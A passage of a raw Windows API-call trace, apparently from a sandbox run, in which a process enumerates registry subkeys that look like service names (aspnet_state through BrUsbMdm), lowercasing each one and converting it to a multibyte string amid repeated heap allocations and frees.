(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.189] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.189] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0256.189] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.190] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.190] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.190] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.190] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.190] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0256.190] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.191] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.191] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.191] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.191] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0256.191] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.192] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.192] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.192] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.192] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0256.192] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.193] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.193] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.193] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0256.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.194] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.194] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.194] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.194] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0256.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.195] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.195] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0256.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 